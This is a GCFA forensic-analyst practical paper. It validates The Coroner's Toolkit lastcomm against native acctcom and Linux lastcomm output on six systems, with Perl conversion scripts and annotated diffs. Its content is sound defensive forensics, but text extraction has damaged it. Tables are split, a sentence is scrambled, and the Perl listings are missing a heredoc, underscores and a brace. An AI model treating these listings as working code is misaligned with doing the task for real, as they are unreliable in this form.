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# GIAC Certified Forensic Analyst (GCFA)

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# Part 1, option 2 – Perform a Forensic Tool Validation – Process Accounting Records

### Motivation

When computer security professionals discuss forensic investigation, much of the focus is on imaging disks and extracting what information can be found from the disk in the form of MACTime data (MAC here refers to the modification, access, and change time captured about every file on the disk in the inode structures). Another useful avenue for investigation can broadly be described as log file analysis. Modern computer systems can be configured to capture a great deal of information about what happens on the system in various types of log files. Unfortunately, there is no consistency to the format or types of data captured<sup>1</sup>. There are numerous types of logs that can provide useful data to the investigator in her/his search to understand what happened and how it happened, this paper will primarily address one. The forensic investigator is charged with determining what happened and the extent of any damage. A timeline can be a crucial tool in developing this understanding.

Many modern operating systems now have the ability to generate audit data from the kernel (also known as C2 audit data, referring to the level in the "Orange Book" Department of Defense hierarchy that mandated audit trail). Unfortunately, on any moderately busy system, the volume of this data can quickly become overwhelming. Furthermore, there is a definite performance penalty in generating audit data on (potentially) every system call made by every process running on the This data, when it exists, is a forensic analyst's dream. However, system. because of these difficulties, this auditing is rarely enabled outside of the Defense Department or contractors where it is required. A similar but often-overlooked source of forensic data (at least on Unix and Unix-like systems, including Linux) is process accounting data. While process accounting was originally used in timesharing environments to charge users for the amount of CPU time or disk they used, it is now more often used for security purposes because it imposes much less of a performance penalty (our experience has been on the order of 2-3%) than auditing while still providing a reasonable amount of data.

Process accounting records are given very little coverage in some of the better books on Unix/Linux security, incident handling, and forensics, For example, Garfinkel and Spafford's excellent book, <u>Practical Unix & Internet Security</u><sup>2</sup>, devotes 2 pages, Mandia and Prosise's <u>Incident Response</u>: Investigating

<sup>&</sup>lt;sup>1</sup> See the discussion on the loganalysis mailing list <u>https://lists.shmoo.com/mailman/listinfo/loganalysis</u> and web site <u>http://www.counterpane.com/log-analysis.html</u>

<sup>&</sup>lt;sup>2</sup> Garfinkel & Spafford, <u>Practical Unix & Internet Security</u>, O'Reilly, 1996, pp. 299-301.

<u>Computer Crime<sup>3</sup></u> and Kruse and Heiser's <u>Computer Forensics: Incident Response</u> <u>Essentials<sup>4</sup></u> each devote 2 paragraphs, and Romig's article in <u>Handbook of</u> <u>Computer Crime Investigation: Forensic Tools and Technology<sup>5</sup></u> gives process accounting 1 paragraph, though Romig has used process accounting data in some of his investigatinos. Perhaps, the reason that process accounting is so often overlooked is a lack of tools. We<sup>6</sup> will examine an existing tool to assist in our analysis of process accounting records for forensic purposes. We will also introduce two new tools that can make the data more useful and address some of the problems with process accounting data (see the Analysis and Presentation sections below).

Before we begin looking at the tool, we need to first take a quick look at what process accounting does and does not provide. The standard data found in the process accounting data file (usually named either acct or pacct, depending on whether the system was derived from BSD or System V) includes the name of the process (often truncated to eight or sixteen characters and settable by the process itself), the uid and gid under which the process was run, flags (the most often seen being fork and setuid), process start time, system CPU time, user CPU time, elapsed time, and tty (if the process had a controlling tty). Optionally, it may also contain memory usage, I/O counts, page faults, swap counts, and/or exit status.

Our analysis will concentrate on only a few pieces of information provided by the process accounting log. In particular, we are most interested in uid, gid, process start time, and elapsed time as these are the most useful in determining a time line for the incident being investigated. The process name, as discussed below, is not as useful as one might hope since it does not provide full path or inode information on the binary that was executed. The next most useful items provided by process accounting would be the flags (especially the setuid flag and, if available, the coredump and terminated on signal flag), the controlling tty (for noting interactive usage) and exit status, if available. The CPU time and I/O data are more useful for determining anomalous behavior, as are the memory, page fault, and swap statistics.

As mentioned previously, the original intent of process accounting was chargeback. All operating systems that provide process accounting provide some tools for displaying the data. Unfortunately, there is no standard format for displaying the data, each tool on each operating system provides the data in a different manner. The inconsistent formats are one reason for examining the tool we have chosen for this exercise. There are also some definite weaknesses with

<sup>&</sup>lt;sup>3</sup> Mandia & Prosise, <u>Incident Response: Investigating Computer Crime</u>, Osborne/McGraw-Hill, 2002, pg. 303.

<sup>&</sup>lt;sup>4</sup> Kruse & Heiser, <u>Computer Forensics: Incident Response Essentials</u>, Addison-Wesley, 2002, pg. 296.

<sup>&</sup>lt;sup>5</sup> Casey, editor, <u>Handbook of Computer Crime Investigation: Forensic Tools and Technology</u>, Academic Press, 2002, pg. 408.

<sup>&</sup>lt;sup>6</sup> The author apologizes for his use of the royal 'we' throughout the rest of this document. This is all the work of one person, but he is uncomfortable writing so much in the first person, and 'we' did not grate on the ear as much as 'I'.

process accounting data that must be taken into account if this data is going to be used in prosecution, but as long as they are understood they should not prevent its usage.

# Problems

Some of the major limitations to the use of process accounting data include the following:

- Name information. As mentioned above, the name information in the process accounting record is a fixed size string (generally eight characters, but sometimes sixteen) and the name can be set by the process itself. That means the process can call itself anything it wants. This means the name cannot be relied on, by itself, to tell us what binary was executed, but it will tell us that *something* was executed. When combined with MACTime data, however, this may provide us with extremely useful clues.
- Ordering. The data in the process accounting file is ordered by the time the process ended. These means a sequential look at the logs usually just causes confusion. While this problem can usually be overcome, it does need to be taken into account. More problematic is that processes that are still running do not appear in the accounting log at all, while long-running processes will appear in the logs far from other processes that were started with them.
- **Timing granularity**. While the CPU times and elapsed time have much finer granularity, the start time only has one second granularity. This means calculated end times could be off by ±1 second. Our tool follows the same convention as the native tools provided by the operating systems we tested of rounding fractions down.
- **Vulnerability of the log**. The accounting log itself is vulnerable to deletion (or potentially modification, though we are not aware of any tools at this time that modify process accounting records). We will present another tool to address this issue.

#### The main tool-lastcomm

The primary tool we will discuss is lastcomm from Venema & Farmer's *The Coroner's Toolkit*, (TCT) version 1.09<sup>7</sup> (the current version as of this writing). Our first reason for choosing this tool is that this version will run SunOS 4, SunOS 5 (Solaris), FreeBSD, OpenBSD, BSDi, and many Linux distributions. It should be possible to port to most, if not all, operating systems that TCT supports. The second reason for choosing this tool is that one option for output format is time-machine format which will ease the development of one of the new tools we will present later.

<sup>&</sup>lt;sup>7</sup> <u>http://www.porcupine.org/forensics/tct.html</u>

# Scope

Since process accounting is used for billing purposes, we will not invest any time in in this paper proving the accuracy of the data produced by the accounting system in the kernel. While this might be an avenue for challenge in court, it is well beyond the scope of our efforts in this paper. Since the tool we are examining is essentially a log analysis tool, our testing concentrates on establishing that our tool accurately represents the data in the log. As programmers, we could turn this paper into a code review, but instead, we will restrict ourselves to showing that this tool, lastcomm, reports the same information as the standard tools provided by the operating system. If we can show this, then a defendant would likely have to challenge the security of the logs or the accuracy of the entire accounting system, which would be a much greater effort than simply attacking this tool. We will then examine how the tool can be used for forensic purposes and some techniques that can be used to overcome some of the problems noted above.

### **Tool Description**

As noted above, we will be examining lastcomm as provided in TCT, version 1.09 available from http://www.porcupine.org/forensics/tct.html. The tool was adapted by Wietse Venema from BSD source (in particular, it appears to have been taken from a FreeBSD release). The tool will read a process accounting log from a victim machine. This file is usually named either acct or pacct and can be located in any number of places based on the operating system or package version. Some of the common places are /var/adm/pacct (the usual Solaris location), /var/log/pacct (used by many Linux distributions), and /var/account/acct (the usual BSD location). It can take a command line argument giving the file name to read, so it can be used on accounting logs copied from victim machines. This tool can be run on images or live on a victim system. Note that running it on a live system will not change any old data, but will cause the log to change as entries are added for the tool being run. The tool can provide the investigator with information about the start/end time (indirectly, via start and elapsed time), name (see limitation above), uid and gid of processes run on the system. This information, when combined with MACTime data, can provide a timeline of activities taking place on a victim system. lastcomm can be statically compiled, but must be separately compiled for each type of system being investigated since it relies on layout of the accounting logs which can and do change periodically (the layout is found in /usr/include/sys/acct.h on most systems). We may attempt to create a version of the tool that will be able to read multiple formats of accounting logs based on a command line switch at some point in the future. The tool can (and has been) run from CD-ROM, it is run as part of grave-robber and obviously can be used independently.

#### **Test Apparatus**

For the purpose of this paper, we shall test the tool on the following platforms:

- Sun Sparc Ultra-2 running SunOS 5.6 (also known as Solaris 2.6) with current recommended patch cluster as of 15 Aug 2002.
- Sun Sparc Ultra-2 running SunOS 5.7 (a.k.a. Solaris7) with current recommended patch cluster as of 15 Aug 2002.
- Sun Sparc Ultra-2 running SunOS 5.8 (a.k.a Solaris8) with current recommended patch cluster as of 15 Aug 2002.
- Sun Sparc Ultra-2 running SunOS 5.9 (a.k.a. Solaris9) with current recommended patch cluster as of 15 Aug 2002.
- Compaq Presario desktop system running SuSE Linux 7.3 with accounting package acct-6.3.5-217.
- Sony Vaio laptop running Red Hat 7.2 with accounting package psacct-6.3.2-9.

We will refer the the Sun systems as SunOS 5.x in the discussion that follows, rather than Solaris x, since this is what uname(1) returns.

### Environmental Conditions

During these tests, the tester will be the only interactive user on the system which will be on a closed network. We will be running the tests as an unprivileged user on a copy an accounting log that was taken live from the system. There are no outside forces that could influence the results of the tests.

#### **Description of the Procedure**

For each of the six test environments the following steps will be taken.

- 1) Ensure that the process accounting package was appropriately installed on the test system.
- 2) Verify that the process accounting package is, in fact, running (executing /etc/init.d/acct start or its equivalent).
- Ensure that we have sufficient data logged to the acct or pacct file (file size > 5,000 bytes was deemed sufficient for this test since each record is on the order of 40 to 64 bytes).
- 4) Copy the acct/pacct file to our test directory.
- 5) Run the native utility for examining the accounting logs and save the ASCII output to a file.
- 6) Run lastcomm with the -t switch on the acct/pacct file to produce a version of the accounting log in time-machine format. Note, we previously compiled lastcomm on each of our six test systems.
- 7) Run a perl script of our own design on the output of lastcomm -t to reformat the time-machine format data into the same format as that produced by the native tool.
- 8) Finally, we run diff(1) on the two files and analyze any differences.

To verify that this is a valid test, we will examine the perl scripts that transform the output carefully, to ensure that the transformations are valid, in particular, we need

to carefully any calculations that may be performed beyond simple formatting. Since our test systems fall into two families, the Sun Solaris servers and the Intel Linux servers, we shall see analysis of these scripts below for each family of operating systems.

#### Criteria for approval

Our approval criteria are actually quite simple. Ideally, there should be no difference between the output of the native tool and our reformatted output from lastcomm. Since it is unlikely that the output will be identical, we shall examine each difference and determine if the difference is substantive or merely cosmetic. In particular, given our previous discussion of the most important fields, we are most concerned with start time, end time (see granularity discussion to see why we are more concerned with end time than with elapsed time), uid, and process name.

#### **Data and Results**

For the SunOS systems that we examined, we used the native utility, acctcom(1) to print out the accounting records in a human readable form. We created a perl script, tm2acctcom.pl, to take the time-machine output of lastcomm -t and convert it to something close to the format produced by acctcom. We include the script here with some explanation.

```
#!/usr/local/bin/perl
# $RCSfile: tm2acctcom.pl,v $
# $Revision: 1.4 $
# Author: Jim Clausing <clausing@computer.org>
# $Date: 2002/09/16 00:58:10 $
#
# Purpose:
              Converts time-machine format output from tct-1.09's
               version of lastcomm and reformats in same format as
#
               Solaris acctcom(1) command run with -btfi switches
#
               then truncated to 96 chars (see note below).
#
               Note, the version of lastcomm in tct-1.09 does not
#
               keep exit status, the author will submit a patch
#
               to Venema & Farmer to capture that information.
# $Log: tm2acctcom.pl,v $
# Revision 1.4 2002/09/15 20:58:10 jac
# cosmetic clean up
# Revision 1.3 2002/08/29 20:25:16 jac
# use different format for really big integers
# Revision 1.2 2002/08/29 20:14:19 jac
# put RCS stuff in the header
use POSIX qw(strftime);
#
# The bizzare format2 comes from peculiarities noted in the 5.8 version
```

```
# of acctcom, this resulted in fewer differences.
$format = "%-9s %-9s %-12s %8s %8s %7.2f %7.2f %7.2f%8d %7d %3d\n";
$format2 = "%-9s %-9s %-12s %8s %8s %7.2f %7.2f %7.2f %7d %3d\n";
open (INPUT, "$ARGV[0]");
$junk = <INPUT>;
$junk = <INPUT>;
($junk,$junk,$start_date) = split(/\|/,$junk);
print
ACCOUNTING RECORDS FROM: ",scalar localtime($start date),"
COMMAND
                                   START END
                                                             REAL
                                                                      CPU
                                                                            (SECS)
CHARS BLOCKS
       USER
                    TTYNAME
                                   TIME
                                              TTME
NAME
                                                          (SECS)
                                                                      SYS
                                                                             USER
TRNSFD READ F
";
$junk = <INPUT>;
while (<INPUT>) {
 ($name, $flags, $uid, $gid, $tty, $ucpu, $cpu, $start, $elapse, $mem, $char, $io blk)
              = split(/\|/,$ );
 if ($tty =~ /,/) {
    ($foo,$bar) = split(/,/,$tty);
    $tty = 'pts/' . $bar;
  } else {
    $tty = '?';
  $f1 = 40;
  $fl += 1 if ($flags =~ /F/);
  if ($flags =~ /S/) {
   $fl += 2;
    $name = '#' . $name;
  }
# acctcom is inconsistent when usernames are > 8 chars, sometimes
# giving 8 chars, sometimes 9. We'll just truncate to 8.
 $user = substr(getpwuid($uid),0,8);
  $end = strftime("%H:%M:%S",localtime(int($start+$elapse)));
  $start = strftime("%H:%M:%S",localtime($start));
 if ($char <= 99999999) {
   printf $format, $name, $user, $tty, $start, $end, $elapse, $cpu, $ucpu, $char,
       $io blk,$fl;
  } else {
   printf $format2, $name,$user,$tty,$start,$end,$elapse,$cpu,$ucpu,$char,
      $io blk,$fl;
  }
```

The script is relatively straight-forward, but we shall point out a few features of the script. First, note the lines that read  $junk = \langle INPUT \rangle$ . These statements read the first three lines in the time-machine format output. The print statement generates the four header lines to match the output of acctcom less the exit status field noted in the comments. Next, we take note of the section that sets up the jtty variable. This worked for the machines we tested on, but we actually would prefer to leave things in the time-machine format of major and minor device numbers. We cheated a little on this one since the ptys that we were using were all

in /dev/pts. Similarly, we are not sure why an entry with no flags set resulted in a value of 40 in the flag field of acctcom, but it does and the setuid and fork flags, set the bits shown above, so we just add them. We then did a lookup of username given uid and truncated the result to eight characters since we noted the problem below with long usernames. We used the strftime function to get start and end times in the same (short) format used by acctcom. Finally, we made our best guess as to when acctcom would do strange things with the formatting of their output. This was close but not perfect, as we will see below.

Our first test subject was a SunOS 5.6 system. This system is a relatively busy ftp server, but the subnet was disconnected from the outside world while running this test. The usernames have been changed below to protect the guilty (er, make that the innocent).

jac@hobbes[	53	9] cp /var	/adm/pacct32 .	/pacct-5.6	5			
jac@hobbes[	54	0] acctcom	-bfti ./pacct	-5.6   cut	: -c1-96 > pac	ct-5.6.ad	cctcom.ou	it
jac@hobbes[541] ~/src/tct/tct-1.09/bin/lastcomm -t -f ./pacct-5.6 > pacct-5.6.tm								
jac@hobbes[	jac@hobbes[542] ./tm2acctcom.pl pacct-5.6.tm > tm2a.out-5.6							
jac@hobbes[	54	3] wc -l tr	m2a.out-5.6					
9606 tm	ı2a	.out-5.6						
jac@hobbes[	54	4] diff pa	cct-5.6.acctco	m.out tm2a	a.out-5.6			
67c67								
< #sh		test0323_	?	14:00:01	14:00:02	1.77	0.02	0.01
22992	0	42						
> #sh		test0323	?	14:00:01	14:00:02	1.77	0.02	0.01
22992	0	42						
77c77								
< #sh		smithneph	?	14:00:02	14:00:02	0.21	0.01	0.01
22992	0	42						
> #sh		smithnep	?	14:00:02	14:00:02	0.21	0.01	0.01
22992	0	42						

We shall take a moment and examine these first few differences. We note here that acctcom is actually a little inconsistent. This system uses usernames that can be up to ten characters in length, acctcom sometimes truncates the username to eight characters, at other times nine. We do not consider these differences significant.

79c79 < date 1253	sys 0 40	?	14:00:02 14:00:02	0.01	0.00	0.00
 > date 1253 98c98	sys 0 40	?	14:00:02 14:00:02	0.00	0.00	0.00
98098 < expr 3	adm 0 40	?	14:00:02 14:00:02	0.01	0.00	0.00
 > expr 3	adm 0 40	?	14:00:02 14:00:02	0.00	0.00	0.00
102,103 < expr 3	c102,103 adm 0 40	?	14:00:02 14:00:02	0.01	0.00	0.00

4			م ماسر	?	14.00.02	14.00.00	0.01	0.00	0 00
< expr	~		adm	2	14:00:02	14:00:02	0.01	0.00	0.00
3	0	40							
> expr			adm	?	14:00:02	14:00:02	0.00	0.00	0.00
3	0	40							
> expr			adm	?	14:00:02	14:00:02	0.00	0.00	0.00
-	0	40	or our i	•	11.00.01	11.00.01	0.00		0.00
106c106	0	10							
			1	0	14.00.00	14.00.00	0 01	0.00	0 00
1			adm	?	14:00:02	14:00:02	0.01	0.00	0.00
3	0	40							
> expr			adm	?	14:00:02	14:00:02	0.00	0.00	0.00
3	0	40							
114,115c	:11	4,11	15						
< expr		•		?	14:00:02	14:00:02	0.01	0.00	0.00
-		40		•			Sitt		
-	0		e elm	?	14.00.00	14:00:02	0.01	0.00	0.00
< expr	~		adm	-	14:00:02	14:00:02	0.01	0.00	0.00
3	0	40							
1			adm	?	14:00:02	14:00:02	0.00	0.00	0.00
3	0	40							
> expr			adm	?	14:00:02	14:00:02	0.00	0.00	0.00
-	0	40							
•	Ÿ	- 0							

Here we note a peculiarity which appears consistently in our tests on Sun machines and probably warrants further investigation. There are a number of processes where <code>lastcomm</code> gave an elapsed time of 0.00 seconds. In every single case, <code>acctcom</code> gave an elapsed time of 0.01 seconds for the same process. We note again, that since the granularity of the start time is at the 1-second level, in either case the start time and end time will be the same. We intend to investigate the cause of this difference further at some point in the future, but for now we again conclude that these differences are insignificant to our test.

While there were a total of 290 differences between the two files (out of a total of 9602 records – the 9606 lines minus the four lines of header, or 3.02%), all of them fell into one of the two categories noted above, either a username truncation (67 of the differences) or a very short duration process (223 times).

Next, we examine a SunOS 5.7 system, this system is not quite as busy as the 5.6 system we just examined. This system serves primarily as a console server. Again, we will use the same process as above and examine each difference as we encounter it.

```
jac@2ring[509] acctcom -bfti ./pacct-5.7 | cut -c1-96 > pacct-5.7.acctcom.out
jac@2ring[510] ~/src/tct/tct-1.09/bin/lastcomm -t -f ./pacct-5.7 > pacct-5.7.tm
jac@2ring[511] ./tm2acctcom.pl ./pacct-5.7.tm > tm2a.out-5.7
jac@2ring[512] wc -l tm2a.out-5.7
   5258 tm2a.out-5.7
jac@2ring[513] /usr/local/bin/diff pacct-5.7.acctcom.out tm2a.out-5.7
20,21c20,21
          jac
0 40
                      ?
                                  17:29:54 17:29:54
                                                       0.04 0.04
                                                                        0.00
< w
106880
                                                       0.02 0.01
< ls
          jac
0 40
                      ?
                                  17:28:04 17:28:04
                                                                        0.01
4913
```

> w ja 106880 0	ac pts/3 40	17:29:54 17:29:54	0.04	0.04	0.00
> ls ja	40 ac pts/3 40	17:28:04 17:28:04	0.02	0.01	0.01

In this case, we note a rather disappointing feature of acctcom under SunOS 5.7, it appears (at least at the patchlevel we tested) to not properly report tty, even though that data is in the log. This problem does not seem to occur on 5.6, 5.8, or 5.9, but all of the 5.7 systems we tested (granted, this was a relatively small sample) provided incorrect output for the tty in one fashion or another (some gave console for pts/0, others showed the results we see above). We consider this a bug in the native utility and not a problem with the tool we are examining.

166c166 < #sendmail root 0 0 43	?	17:05:58 17:05:58
 > #sendmail root 0 0 43	?	17:05:58 17:05:58 0.00 0.00 0.00
192c192 < gethosti root 11 0 41	?	17:05:01 17:05:01 0.01 0.00 0.00
 > gethosti root 11 0 41	?	17:05:01 17:05:01 0.00 0.00 0.00
195c195 < gethosti root 8 0 41	?	17:05:01 17:05:01 0.01 0.00 0.00
 > gethosti root 8 0 41	?	17:05:01 17:05:01 0.00 0.00 0.00

Here we again see the problem we noted in the SunOS 5.6 results, where for very short-lived processes, lastcomm reports an elapsed time of 0.00 seconds, while acctcom reports an elapsed time of 0.01 seconds. As with the results from SunOS 5.6, we do not consider these differences significant for the purposes of this test.

2665c2665 < tripwire 813	root ?	10:00:00 10:04:24	264.96	20.24	140.40	1220018176
 > tripwire 813 40	root ?	10:00:00 10:04:24	264.96	20.24	140.40	1220018176

The differences here were a result of spacing anomalies from acctcom, it was inconsistent in its formatting of the character I/O field when the value became large. The missing 40 on the end of the acctcom output was a result of our passing the results of acctcom through the cut(1) command to cut off the exit status field since this version of lastcomm does not capture that information for Solaris (we will be submitting a patch to the maintainers of TCT, which will allow lastcomm to capture Solaris exit status values). We went back and examined

these lines without cut-ing the acctcom output and the flag fields matched. Again, these differences are insignificant to our test. There are no users on this system with usernames longer than eight characters, so we did not encounter that particular anomaly on our SunOS 5.7 system. There were a total 302 differences out of a total of 5254 entries in the log (or 5.75%), of these differences 156 were the tty display issue, 2 were the large character I/O field formatting, and the remainder (144) were the very short duration processes.

Our third test system, was a SunOS 5.8 system which runs a web server and monitors the status of some network devices via SNMP.

```
jac@newmozart[509] acctcom -bfti ./pacct-5.8 | cut -c1-96 > pacct-5.8.acctcom.out
jac@newmozart[510] ~/src/tct/tct-1.09/bin/lastcomm -t -f ./pacct-5.8 > pacct-5.8.tm
jac@newmozart[511] ./tm2acctcom.pl ./pacct-5.8.tm > tm2a.out-5.8
jac@newmozart[512] wc -1 tm2a.out-5.8
   2806 tm2a.out-5.8
jac@newmozart[513] diff pacct-5.8.acctcom.out tm2a.out-5.8
179c179
                   pts/26 09:32:27 13:15:51 1568604.16 0.15
                                                                       0.81
< ssh
           jac
< ssn jac
274432 50
___
                   pts/26 09:32:27 13:15:51 1568604.16 0.15
> ssh
                                                                       0.81
           jac
      50 40
274432
```

Here we see another problem with our use of cut, in this case it is because the elapsed time overflowed the space allocated. In this case, we see the termination of an ssh process that had been running for almost three weeks. As we did with the tripwire entry on the previous system, we did examine the flag field from acctcom (without piping it through cut) and they matched, so again these differences are not significant for the purpose of our test.

13:05:01 13:05:01	0.01	0.00	0.00
13:05:01 13:05:01	0.00	0.00	0.00
			13:05:0113:05:010.010.0013:05:0113:05:010.000.00

As with the previous versions, we see the same problem with very short-lived processes.

1184c1184 < tripwire 110912	root	?	10:00:00	10:14:29	869.12	91.04	250.24-2069889024
 > tripwire 2225078272		? 40	10:00:00	10:14:29	869.12	91.04	250.24

In this case, it looks like we may have a case of acctcom treating the character I/O field as a signed, rather than an unsigned integer and again, we see the formatting issues when certain of the fields are larger than the default sizes. In this test, there were a total of 61 differences out of a total of 2802 records (or 2.18%).

Of these, 34 were due to the two different formatting issues noted, the remaining 27 were the extremely short duration processes.

Our fourth test system was a workstation running SunOS 5.9. In this case we had a much smaller log to examine, but there were sufficient different types of entries that we deemed it representative for the purposes of this test.

jac@Scheduler[51]	acctcom -bfti .,	/pacct-5.9	cut -c1-96	5 > pacct-	5.9.acct	.com.out
jac@Scheduler[52]	~/src/tct/tct-1	.09/bin/last	comm -t -f	./pacct-5	.9 > pac	cct-5.9.tm
jac@Scheduler[57]	./tm2acctcom.pl	./pacct-5.9	.tm > tm2a.	out-5.9		
jac@Scheduler[58]	wc -l tm2a.out-5	5.9				
267 tm2a.out	-5.9					
jac@Scheduler[59]	diff pacct-5.9.a	acctcom.out	tm2a.out-5.	.9		
24c24						
< postfix- root	pts/11	13:25:43	13:25:43	0.01	0.00	0.00
44 0 41						
> postfix- root	pts/11	13:25:43	13:25:43	0.00	0.00	0.00
44 0 41						

As we have seen with all of the other SunOS versions, this version also suffers from the problem of very short duration processes.

165c165 < #pkginsta 163840000	root 557		pts/11	13:22:39	13:23:18	39.50	2.58	6.79
 > #pkginsta 163840000	root 557	42	pts/11	13:22:39	13:23:18	39.50	2.58	6.79

This version also suffers from the same formatting issues when one of the fields exceeds its default size. Of the 262 entries in the accounting log, 13 of them (4.96%) were different and of those 12 were the very short duration processes and the other was the formatting issue.

We next moved on to a pair of Linux systems. For examining the Linux output, we noted that the native version of lastcomm has a switch (--debug) which provides much of the data found in the accounting record in a format that is quite similar to the time-machine format from TCT's lastcomm. We wrote another perl script, tm2lin-debug.pl, to give us a format similar to the output from the native Linux lastcomm run with the --debug option. We shall examine that script now. We should note, however that the native Linux version outputs quite a few lines of debugging information mapping numbers to device names. We deleted all of these lines before doing the diff's below.

```
#!/usr/local/bin/perl
#
# $RCSfile: tm2lin-debug.pl,v $
# $Revision: 1.2 $
# Author: Jim Clausing <clausing@computer.org>
# $Date: 2002/09/15 20:51:19 $
#
```

```
Converts time-machine format output from tct-1.09's
 Purpose:
                version of lastcomm and reformats in same format as
                Linux's lastcomm(1) run with the --debug switch
#
# $Log: tm2lin-debug.pl,v $
# Revision 1.2 2002/09/15 20:51:19 jac
# Put RCS stuff in header
#
use Getopt::Std;
use POSIX qw(strftime);
qetopts('s');
$str1 =
"____
                                                                            --\n":
$format = "CURRENT REC: %-17s|%6.1f|%6.1f|%6.1f|%5d|%5d|%6.1f|%6.1f|%s\n";
$format2 = "%-17s %-5s %-8s %-8s %6.2f secs %s\n";
open (INPUT, "tail +4 $ARGV[0]|");
while (<INPUT>) {
  ($name, $flags, $uid, $gid, $tty, $ucpu, $cpu, $start, $elapse, $mem, $char, $io_blk,
        $maj_pflt,$min_pflt,$exit_stat,$swap)
                = split(/\|/,$_);
  ($foo,$bar) = split(/,/,$tty);
  if ($foo != 0) {
   $tty = $opt s?'pts/':'tty' . $bar;
  } else {
   $tty = '??';
 $f11 = $f12 = $f13 = $f14 = $f15 = ' ';
 $fl1 = 'S' if ($flags =~ /S/ && !$opt s);
 $fl2 = 'F' if ($flags =~ /F/ && !$opt_s);
 $f13 = 'C' if ($flags =~ /C/ && !$opt s);
 $fl4 = 'D' if ($flags =~ /D/ && !$opt_s);
 $fl5 = 'X' if ($flags =~ /X/ && !$opt_s);
 $f1 = $f11 . $f12 . $f13 . $f14 . $f15;
 $user = getpwuid($uid);
 $start str = scalar localtime($start);
 $short_date = strftime("%a %b %e %H:%M",localtime($start));
 print $str1;
 printf $format, $name,$ucpu*100.0,$cpu*100.0,$elapse*100.0,$uid,$gid,$mem,
       $swap,scalar localtime($start);
 printf $format2,$name,$fl,$user,$tty,$cpu+$ucpu,$short date;
```

This script is actually simpler than the SunOS one. We first skip over the three header lines in the time-machine format. Next, we have some inconsistencies in the way ttys are displayed between SuSE and Red Hat (the two Linux systems that we tested) and even that depends on whether we run the test from the same pts as the original process, we shall explain that when we encounter it below. Further, we note that the native <code>lastcomm</code> on our SuSE system did not print out the flag information even though it was contained in the log, so we used our SuSE switch (-s) to turn off output of the flags. We finally note that in time-machine format the TCT version of <code>lastcomm</code> has already converted from ticks to seconds, we need

to undo this conversion to get back to what the native lastcomm outputs, thus the multiplication by 100.0 in the printf command above.

Our fifth test system is a desktop system running SuSE Linux version 7.3, with the accounting package acct-6.3.5-217 installed.

```
jac@leibnitz[509]$ sudo cp /var/account/pacct ./pacct-suse-7.3
jac@leibnitz[510]$ sudo chown jac pacct-suse-7.3
jac@leibnitz[511]$ lastcomm --debug -f pacct-suse-7.3 > pacct-suse-7.3.lastcomm.out
jac@leibnitz[512]$ tail +1552 pacct-suse-7.3.lastcomm.out > pacct-suse-7.3.lc.out2
jac@leibnitz[513]$ ~/tct/tct-1.09/bin/lastcomm -t -f pacct-suse-7.3 > pacct-suse-7.3.tm
jac@leibnitz[514]$ ./tm2lin-debug.pl -s pacct-suse-7.3.tm > tm-suse.out
jac@leibnitz[515]$ wc -l tm-suse.out
6504 tm-suse.out
jac@leibnitz[516]$ diff pacct-suse-7.3.lc.out2 tm-suse.out
769,770d768
< Did seek in file 122368 --> 105984
< Got 256 records from file</pre>
```

The first thing we note on this system is that the accounting log in located in /var/account. We also had to change ownership or permissions so that it could be read by the unprivileged account running this test. Also, note that we cheated here a little bit and in another window figured out that there were 1551 lines of device mapping info at the top of the file that needed to be removed before we ran diff. Next, we see that the native version outputs debugging information everytime it extracts another 256 records from the file. This difference between the two files is not significant to our test.

2580c2574 < top	jac	stdin	25.00 secs Sun Aug 4 14:33	
> top	jac	pts/0	25.00 secs Sun Aug 4 14:33	

Here we see the difference we noted above, since we were logged in on pts/0 when we ran the native version, it converted the tty name to stdin (/dev/stdin is a link to the same device as /dev/pts/0). This difference is also not significant to this test.

Of the 2168 records (6504 lines divided by three lines per record), there were 429 differences all of which were the tty naming (there were also eight instances of the debugging messages in the pacct-suse-7.3.lc.out2 file).

The final system we examined was a laptop running Red Hat 7.2 with the psacct-6.3.2-9 package installed. From the version numbers, it appears that the SuSE and Red Hat systems should be very similar as they appear to be based on the same original source tree.

```
jac@Gazelle[502]$ sudo cp /var/log/pacct ./pacct-redhat-7.2
jac@Gazelle[503]$ sudo chown jac pacct-redhat-7.2
jac@Gazelle[504]$ lastcomm --debug -f pacct-redhat-7.2 > pacct-redhat-7.2.lastcomm.out
jac@Gazelle[505]$ ~/src/tct/tct-1.09/bin/lastcomm -t -f pacct-redhat-7.2 > pacct-redhat-7.2.tm
```

	<pre>jac@Gazelle[506]\$ ./tm2lin-debug.pl pacct-redhat-7.2.tm &gt; tm-redhat.out jac@Gazelle[507]\$ tail +2059 pacct-redhat-7.2.lastcomm.out &gt; pacct-redhat-7.2.lastcomm.out2</pre>						
jac@Gazelle[512]\$ wc -l tm-redhat.out							
	5320 tm-redhat.out						
-	diff	pacct-red	nat-7.2.la	stcomm.out2 tm-redhat.out			
769 <b>,</b> 770d768							
< Did seek in file	9708	88> 8070	) 4				
< Got 256 records	from	file					
1539 <b>,</b> 1540d1537							
< Did seek in file			20				
< Got 256 records	from	file					
1798c1794							
< ssh	S	X root	ttyl	0.25 secs Sun Sep 8 14:10			
> ssh	S	root	tty1	0.25 secs Sun Sep  8 14:10			
1801c1797							
< scp		X root	tty1	0.03 secs Sun Sep 8 14:10			
> scp		root	tty1	0.03 secs Sun Sep 8 14:10			

As was the case with SuSE, we see the debugging output from the native version of lastcomm. We also note that the native version outputs the flag indicating the process was terminated by a signal, but the TCT version does not. It turns out the reason for this is the version of the accounting header file (<sys/acct.h> versus <linux/acct.h>) used to build the TCT version of lastcomm. These are, in fact, the only differences between the files. Again, these differences are not considered significant to this test.

So, now that we have completed the six tests, what can we conclude? Not surprisingly, the version of lastcomm distributed in version 1.09 of The Coroner's Toolkit, accurately renders the contents of the process accounting logs in a standard format. Well, this result should be expected. The format of the process accounting record is recorded in a header file for each operating system (in most cases, <sys/acct.h>, though as noted, on Red Hat linux/acct.h> is probably a better choice), so the tool does not have to do anything particularly special. We then conclude that the tool has passed our test by providing essentially the same information as the native tools provided with the operating system.

#### Analysis

If the tool we have been examining does not have to do anything special, why does the forensic investigator care about it? As noted above, the data provided by the accounting logs are most useful for creating a timeline of an event. In particular, we note that with MACTime analysis, we only know the *last* time that a particular file was accessed. The process accounting logs provide us with information on which users were running processes during an event. This can provide data that may fill in some of the holes in the MACTime data.

